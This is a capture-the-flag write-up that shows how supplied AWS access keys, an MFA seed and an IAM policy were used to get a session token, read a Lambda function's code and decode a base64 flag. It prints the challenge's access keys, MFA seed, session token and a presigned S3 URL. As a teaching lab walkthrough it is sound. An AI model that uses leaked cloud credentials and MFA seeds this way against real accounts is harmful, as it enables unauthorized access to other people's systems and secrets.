Skip to content

Latest commit

 

History

History
248 lines (204 loc) · 9.45 KB

Rain checks_writeup.md

File metadata and controls

248 lines (204 loc) · 9.45 KB

Challenge

So many options to make sure everything stays as it is. Let's use them all.

Solution

We are presented with two files:

  • exposed-user-credentials.txt
  • policy-exposed-user.json

The first file contains some credentials which after googling a bit correspond to these respective categories:

AWS Access Key ID: AKIA22D7J5LEAGT3CKGP
AWS Secret Access Key: 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
Mfa Device Hardware Token: E3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV
Mfa Serial Key: arn:aws:iam::743296330440:mfa/mfa-exposed-user

First of all we configure the aws user with the command

aws configure --profile mfa-exposed-user

In order to be able to access aws with user mfa-exposed-user, we need a session token. For that a token code is needed. Fortunately, using the mfa hardware token we can generate TOTP keys using the website

The command to get a session token is the following: https://www.token2.com/site/page/totp-toolset

 aws sts get-session-token --serial-number 'arn:aws:iam::743296330440:mfa/mfa-exposed-user' --token-code <TOTP_CODE> --profile mfa-exposed-user

Which returns us some credentials and a session-token. We can now create the user mfa by adding the following lines in the credentials file

[mfa]
aws_access_key_id = ASIA22D7J5LEHSZ5MO6Y
aws_secret_access_key = Cb9QbakPmXIW86kgM0r30fRXcGyY7veOWWk3KkVB
aws_session_token = FwoGZXIvYXdzEMT//////////wEaDFb1WHkN6LX18wD35SKGAbVCK40Ux8/HguSIcusRpnhNmPC0QKd7iE5Whzp6+E7aLgT4OVHLAMGOEI0DSj9kH5Sur+Ohr08SD4MU0jEhRg088S3W7kQ76s+lCNWdIafus3WaY5V2tm+sw4PuGCh4HKDieaNsEWRVvkZhD7iZGUXjIp2d5iskcBNpRZJA1o2zxUDrAzOjKIStqqAGMigEX+xgyWIragX5Zl3LSm6o1fbsHKiYGXyeXcZC7sbIs4wZ5sxntaZq

Ok so now we can review the user policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "lambda:GetLayerVersion",
                "lambda:GetFunction",
                "lambda:GetLayerVersionPolicy"
            ],
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "aws:MultiFactorAuthPresent": "true"
                }
            }
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "lambda:UpdateFunctionCode",
                "lambda:InvokeFunction"
            ],
            "Resource": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
            "Condition": {
                "Bool": {
                    "aws:MultiFactorAuthPresent": "true"
                }
            }
        }
    ]
}

As we can see, we can invoke GetFunction on every function we know but we only know of arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret. Notice the eu-central-1 part which we will need to set as region in order to be able to access the resource.

By calling:

aws lambda get-function --function-name lambda-confirm-secret --profile mfa

we get the output:

{
    "Configuration": {
        "FunctionName": "lambda-confirm-secret",
        "FunctionArn": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::743296330440:role/role-for-lambda-to-read-secret-flag1",
        "Handler": "lambda_function.lambda_handler",
        "CodeSize": 693,
        "Description": "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets ",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2023-03-09T10:15:31.000+0000",
        "CodeSha256": "XGBROzVr7sFwZJp0F79dvHfNRc6X2Ag3OTbVx9qldOU=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "8e79f5f4-5d22-4cd2-ac78-68ee9e3d983a",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/743296330440/lambda-confirm-secret-7170c6e6-2458-4c26-ab03-e66b8fce0d13?versionId=soyBu3Egz3QRUS0WAeGl0LPT1T7ezKD8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDGV1LWNlbnRyYWwtMSJGMEQCICS347V9%2BXEAa5pz%2BdoBPR5%2FTYdQa2IEiGrhZCu%2ByI3iAiB8FH%2BMGJpuEBfIXwjiXRY6UmpV2zUeDXDF2462eOprGSq7BQheEAMaDDY4MDY4NjU1OTQzNCIMKMLZq2uWj8bt5j25KpgF6AAx3b4wb5um00V1%2BnINkWdA4B1qXZR%2FIsY0OxOVkWvlg2j2Ku%2Fc1OXkle7oVpjjU0HTKW%2FnVlmmZGzfFUzkpjpgKE01MEjLja2NWIklJYIJ5idrKLkiJOxgBlEMhLGbM%2BRRrJeudiBolQFe4u4VBsOAUAjKkJ%2Bgw5PB4R2MqDW1DPASh1R1QwZt1dWNwr34TMInKaDAurcjTZ6AWEvDPl8DtGVzYUn26OagxilfdrUGzjHJitgkG7GrZwRNm8xmIoqSu6IQ4zZest683adyeK1L2AC3%2FTtfAtqb9AyaG41nv8XwKKt%2FUD1ii1WpF5WuXjQ%2FiiztF8TeAXKCr7oa3QXZuE8bMNooqziJvVmyytx8AJgKEmO8iiTJJq%2BFGnMW3jiVrzc95bUxURzvfoO1RZjQIdu0ShmwkIMer844qh%2BxTM%2F0CH2KdgzgO5xxlAkZ9YjZ8jvGJ2Txxqb093F%2FrvtfJxwz9uYfTNCFsoEMqTRtyHUhFwSf1XJp%2BuWOH9%2FhhXDH64JH%2F%2FLhzvk%2FMDObT1GNZDghC007mFVJwUmAk0vvb8h7FMQJzf8OwJTm34T0sygKYmFavLRKWq8LaD9orpjGiVam8PLrr9ahjK0FyOnyCMb6I4A3WcR1CZZ7Vn%2BYUnUu8ov4EVLdgRJq%2FPPg7E6GGN6OhaeQVUAGTBUKFMl%2B6m0W6EfTeDytdFgy%2FoJwCf2utdY9KlWbNarZQcUZPyFFZqMWkHgCWkllQZ8%2BZMtxCb2Rv0aqqtgXNd0i%2FAZBOgYLtf4iEmOhYKisjAMuG6WuNdO0XeYnkyk%2FLGJCjnTNQKQPNHpMCpN66gSmoucWVLo2e%2BFDCjBjVc5rFdbj4cOvCimA1cYyTTKZM1369v%2FxTCv1vUF3JjDso6egBjqyAY744zxDPwiwtsU2loSo85nMH7CSwY%2FcUa4%2BqFhjJhzvnGmpVU4mk%2BdYxD2bpHCm%2FvxAx%2FJVQYobEnvIFTCxOk1FaTSxsMCY0JJeJ9aF5Nalrl%2FRqG%2FMLwmtj1GIY5I%2FbFlEqYrpfnya%2FgYqS%2FJwqYlpOYB0mnfVv%2BAMpiglVKor40gKrf2GBxOo2Yx0%2F5pMyDRDt6NcB3pd8w860dLyVjr5pKsY6IAhnNixbrddshAO02w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230309T132522Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFASSBGY5K%2F20230309%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=a3e2b642c710d932e8d1cc6bbd595e52ae8b62cd1f86ee7704d239591cbf71f0"
    }
}

We can and will download the function from the link given, which gives us the following:

import json
import hashlib
import boto3
from botocore.exceptions import ClientError
import base64

def lambda_handler(event, context):
   flag = get_secret()
   m = hashlib.sha512()
   m.update(flag.encode('utf-8')) #b"Nobody inspects")
   hash = base64.b64encode(m.digest())
   if hash == b'cBOdVrF/i42uk+zG6hT/f080JYXUl5JuItkOVdQuC2+J7QCxTNo5ivYglOBT3r3p9P6tpwqfSbr2aqqtV1G5gg==':
       message = "[*] Secret value confirmed"
   else:
       message = "[!] WARNING: SECRET VALUE could not be confirmed!"
   
   return {
       'statusCode': 200,
       'body': json.dumps(message)
   }

def get_secret():

   secret_name = "flag1"
   region_name = "eu-central-1"

   session = boto3.session.Session()
   client = session.client(
       service_name='secretsmanager',
       region_name=region_name
   )

   try:
       get_secret_value_response = client.get_secret_value(
           SecretId=secret_name
       )
   except ClientError as e: 
       raise e

   return get_secret_value_response['SecretString']
   

This function seems to hash our input and compare it against a value which unfortunately cannot be reversed.

After a while we noticed that two other functions are named in the description of lambda-confirm-secret

Descrption: lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets

The first one is not something special, but the second seems very interesting:

import json
import hashlib
import boto3
from botocore.exceptions import ClientError
import base64

def lambda_handler(event, context):
    flag = get_secret()
    m = hashlib.sha512()
    m.update(flag.encode('utf-8')) #b"Nobody inspects")
    hash = base64.b64encode(m.digest())
    if hash == b'cBOdVrF/i42uk+zG6hT/f080JYXUl5JuItkOVdQuC2+J7QCxTNo5ivYglOBT3r3p9P6tpwqfSbr2aqqtV1G5gg==':
        message = "[*] Secret value confirmed"
    else:
        message = "[!] Secret has been changed!"
        correct_secret()
    
    return {
        'statusCode': 200,
        'body': json.dumps(message)
    }

def get_secret():

    secret_name = "flag1"
    region_name = "eu-central-1"

    session = boto3.session.Session()
    client = session.client(
        service_name='secretsmanager',
        region_name=region_name
    )

    try:
        get_secret_value_response = client.get_secret_value(
            SecretId=secret_name
        )
    except ClientError as e: 
        raise e

    return get_secret_value_response['SecretString']

def correct_secret():
    secret_name = "flag1"
    region_name = "eu-central-1"

    session = boto3.session.Session()
    client = session.client(
        service_name='secretsmanager',
        region_name=region_name
    )

    response = client.put_secret_value(
    SecretId=secret_name,
    SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))

Function correct_secret secret seems to contain in b64 the correct secret which after decoding gives us the flag: ENO{N0_Ed1t_St1ll_Vuln}